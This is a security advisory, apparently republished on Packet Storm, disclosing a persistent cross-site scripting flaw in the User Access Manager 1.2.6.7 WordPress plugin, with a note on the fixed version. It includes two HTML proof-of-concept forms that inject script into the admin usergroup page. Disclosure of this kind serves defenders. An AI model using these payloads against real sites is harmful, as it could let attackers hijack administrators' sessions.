what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress User Access Manager 1.2.6.7 Cross Site Scripting

WordPress User Access Manager 1.2.6.7 Cross Site Scripting
Posted Jan 31, 2017
Authored by Securify B.V., Burak Kelebek

WordPress User Access Manager plugin version 1.2.6.7 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 6922073e4128970a34c759af113c580b26f672963ff2a12e052ca6848ce12293

WordPress User Access Manager 1.2.6.7 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Persistent Cross-Site Scripting vulnerability in User Access Manager
WordPress Plugin
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the User Access Manager WordPress Plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0025

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the User Access Manager WordPress
Plugin version 1.2.6.7.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in User Access Manager version 1.2.14.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_vulnerability_in_user_access_manager_wordpress_plugin.html

Persistent Cross-Site Scripting was found in admin panel 'manage' page of User Access Manager. Multiple parameters in POST uam_usergroup are affected due to insufficient output encoding. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="as<script>alert(1)</script>" />
<input type="hidden" name="userGroupDescription" value="asd" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="sad" />
<input type="hidden" name="userGroupDescription" value="<script>alert(2)</script>" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="submit" value="Submit" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close